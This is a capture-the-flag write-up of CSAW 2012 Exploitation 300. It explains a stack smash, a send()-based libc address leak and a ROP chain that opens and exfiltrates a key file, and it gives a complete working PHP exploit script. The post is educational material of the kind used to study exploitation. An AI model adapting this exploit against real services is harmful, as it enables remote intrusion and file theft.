30
Sep
2012

CSAW 2012 – Exploitation 300

Exploitation 300 was a remote service with some funny korean strings in it. To run it locally you needed to create a user ‘liaotian’ on your system and put a ‘key’ file in it’s home directory.

When we connect to the service we can send some string and it will disconnect us. However, when we send a big string(TM) we trigger a traditional stack smash. After exactly 326 bytes we hit the first saved EIP.

The final goal is to read the ‘key’-file, so let’s try to do that using some ROP. For our ROP payload we need some routines from libc that arent imported through the GOT in this binary. (open() for example), so we could use a way to leak some known libc pointers. Luckily there’s a send() trampoline in the .text we can use to dump remote memory. We can craft a small infoleak ROP primitive like this:

[ send()          ]
[ 0xdeadbeef      ] # we'll crash here
[ 0x04 (sock fd)  ]
[ address         ]
[ size            ]
[ 0x00 (flags)    ]

By some dumping we managed to identify the version of libc used to be the same as one on a random ubuntu machine we had around, that made things a bit easier.

Now, we want to derive the libc .text base address so we can add static offsets to that to calculate the correct libc routine pointers. So we start by dumping 4 bytes from 0x0804B060, which is the GOT entry for send(). Next we subtract a fixed offset for the position of send() relative to the start to derive the libc base address. (0xec550 in this case)

# objdump -D /lib/i386-linux-gnu/libc.so.6 | grep "send>:"
000ec550 <__send>:

Now, since we have the remote libc base and we the matching libc.so we can calculate the correct addr for any routine we want!

Let’s proceed by building a rop chain that:
* read()’s a filename from the existing socket (we send this filename)
* open()’s this filename for reading
* read()’s the content from this filehandle
* send()’s the content to our socket

The final ROP chain looks like this:

[ read()          ]  \
[ POP-POP-POP-RET ]   \
[ 0x04 (sock fd)  ]    > read(sock_fd, filename, filename_len);
[ writeable_addr  ]   /
[ len(filename)   ]  /

[ open()          ]  \
[ POP-POP-POP-RET ]   \
[ filename        ]    > open(filename, O_RDONLY);
[ 0 (O_RDONLY)    ]   /
[ 'JUNK'          ]  /

[ read()          ]  \
[ POP-POP-POP-RET ]   \
[ 0x05 (file_fd)  ]    > read(file_fd, out, 128);
[ writeable_addr  ]   /
[ 128 (size)      ]  /

[ send()          ]  \
[ 'CRASH'         ]   \
[ 0x04 (sock fd)  ]    > send(sock_fd, out, 128);
[ writeable_addr  ]   /
[ 128 (size)      ]  /

And here’s a fully implemented exploit:

<?php
error_reporting(E_ALL);

$send_got = "\x70\x87\x04\x08";
$filename = "./key\x00";

$data    = 0x0804b064;
$pop4ret = 0x08048d9d;

$read_libc   = 0xda130;
$send_libc   = 0xec550;
$write_libc  = 0xda1b0;
$open_libc   = 0xd9c40;

function leak($addr, $size) {
        global $send_got;
        global $argv;

        $fp = fsockopen($argv[1], $argv[2]);

        $leak_buf =
                $send_got .               # send()
                pack("V", 0xdeadbeef) .
                "\x04\x00\x00\x00" .  # fd
                pack("V", $addr) .
                pack("V", $size) .  # size
                "\x00\x00\x00\x00";
        fwrite(
                $fp,
                str_repeat("\x90", 326) . $leak_buf
        );

        $ret = fread($fp, 8192);
        $ret .= fread($fp, $size);

        if (strlen($ret)==0)
                die("[!] no reply :(\n");

        fclose($fp);
        var_dump($ret);
        return substr($ret, -$size);
}

$ret = leak(0x0804b060, 4);
$v = unpack("V", $ret);
printf("[+] send@got  = 0x%08x\n", $v[1]);


$x = $v[1];
$libc_base = ($x - $send_libc);
$read  = $libc_base + $read_libc;
$write = $libc_base + $write_libc;
$open  = $libc_base + $open_libc;

printf("READ=%08x\n", $read);

$chain =
        pack("V", $read) . // read
        pack("V", $pop4ret) .
        pack("V", 4) .
        pack("V", $data) .
        pack("V", strlen($filename)) . // len(fn)

        pack("V", $open) .
        pack("V", $pop4ret) .
        pack("V", $data) .
        pack("V", 0) .
        pack("V", 0xcafebabe) .

        pack("V", $read) .
        pack("V", $pop4ret) .
        pack("V", 5) .
        pack("V", $data) .
        pack("V", 100) .

        pack("V", $x) .
        pack("V", 0xdeadbeef) .
        pack("V", 4) .
        pack("V", $data) .
        pack("V", 100);

$fp = fsockopen($argv[1], $argv[2]);
fwrite($fp, str_pad(str_repeat("\x90", 326) . $chain, 2048));
fwrite($fp, $filename);

while(1) {
        $ret = fread($fp, 16);

        if(!empty($ret))
                echo $ret;
        else
                break;
}

fclose($fp);
?>

{One Response to “CSAW 2012 – Exploitation 300”}

  1. impressive work einbazen but i think it’s more easy than that, you can just find “jmp %esp”

    g0df4th3r

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>